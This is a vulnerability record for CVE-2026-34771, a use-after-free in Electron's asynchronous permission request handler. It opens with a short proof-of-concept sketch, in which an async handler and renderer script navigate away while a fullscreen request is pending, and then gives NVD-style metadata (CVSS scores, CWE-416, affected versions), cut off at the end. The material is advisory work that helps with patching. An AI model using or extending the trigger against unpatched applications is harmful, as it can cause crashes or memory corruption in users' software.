CVE-2026-34771

// PoC Concept for CVE-2026-34771 // Main Process (main.js) const { app, BrowserWindow, session } = require('electron'); app.whenReady().then(() => { const win = new BrowserWindow(); // Register an asynchronous permission handler (Vulnerable) session.defaultSession.setPermissionRequestHandler((webContents, permission, callback) => { console.log('Permission requested:', permission); // Simulate asynchronous operation (e.g., asking user or DB check) setTimeout(() => { // If the frame/window navigated or closed here, 'callback' accesses freed memory callback(true); }, 2000); }); win.loadURL('file://' + __dirname + '/index.html'); }); // Renderer Process (index.html) // <script> // // Trigger a permission request (e.g., Fullscreen) // document.documentElement.requestFullscreen(); // // // Immediately trigger the UAF condition by navigating or closing // setTimeout(() => { // window.location.href = 'about:blank'; // or window.close() // }, 500); // </script>

{"cve": {"id": "CVE-2026-34771", "sourceIdentifier": "[email protected]", "published": "2026-04-04T00:16:17.980", "lastModified": "2026-04-22T15:10:22.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to versions 38.8.6, 39.8.0, 40.7.0, and 41.0.0-beta.8, apps that register an asynchronous session.setPermissionRequestHandler() may be vulnerable to a use-after-free when handling fullscreen, pointer-lock, or keyboard-lock permission requests. If the requesting frame navigates or the window closes while the permission handler is pending, invoking the stored callback dereferences freed memory, which may lead to a crash or memory corruption. Apps that do not set a permission request handler, or whose handler responds synchronously, are not affected. This issue has been patched in versions 38.8.6, 39.8.0, 40.7.0, and 41.0.0-beta.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "38.8.6", "matchCriteriaId": "9CE003A2-03CC-4355-AA17-2CBD204EC6C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "39.0.0", "versionEndExcluding": "39.8.0", "matchCriteriaId": "642CA6B2-000A-480D-B062-80593D150787"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "40.0.0", "versionEndExcluding": "40.7.0", "matchCriteriaId": "E54036E0-1D1F-4265-A2F3-B9C1F88F65ED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "A20225D6-F435-4D09-962D-B162F521B6AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha2:*:*:*:node.js:*:*", "matchCriteriaId": "33712802-EB60-4E9A-83B8-9F2320B70CB4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha3:*:*:*:node.js:*:*", "matchCriteriaId": "9D0A9142-54FE-47BB-9FEB-5E97528E28FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha4:*:*:*:node.js:*:*", "matchCriteriaId": "9E1D191F-DEAE-4DB3-9822-F31AF9FE3BAC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha5:*:*:*:node.js:*:*", "matchCriteriaId": "45A8192F-3D2C-4987-9BBE-7ECC3F71965D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha6:*:*:*:node.js:*:*", "matchCriteriaId": "EEA1A2E5-03DB-46CB-8427-7F31A8A7CE1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta1:*:*:*:node.js:*:*", "matchCriteriaId": "B2DFCE75-BD3F-4537-B5B8-14097E262EA2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta2:*:*:*:node.js:*:*", "matchCriteriaId": "BC346E25-EA43-4615-8CDB-16D15D46E4FF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta3:*:*:*:node.js:*:*", "matchCriteriaId": "FA5B3C00-CAFC-4995-BF35-9920F3039E77"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta4:*:*:*:node.js:*:*", "matchCriteriaId": "3672F3FB-6B5E-40FD-8A92-CB4DD6BC6A93"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta5:*:*:*:node.js:*:*", "matchCriteriaId": "9EE4F8AE-21D2-4815-85B7-B7ECCC0D5059"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta6:*:*:*:node.js:*:*", "matchCriteriaId": "D195760C-7DD9-4259-9042-EDE65AEAC1D6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta7:*:*:*:node.js:*:*", "matchCriteriaId": "B370859F-24D3-4B25-B580-1A5B6DB94BFE"}]}]}], "references": [{"url": "https://github.com/electron/electron/security/advisories/GHSA-8337-3p73-46f4", "source": "[email protected]" ... (truncated)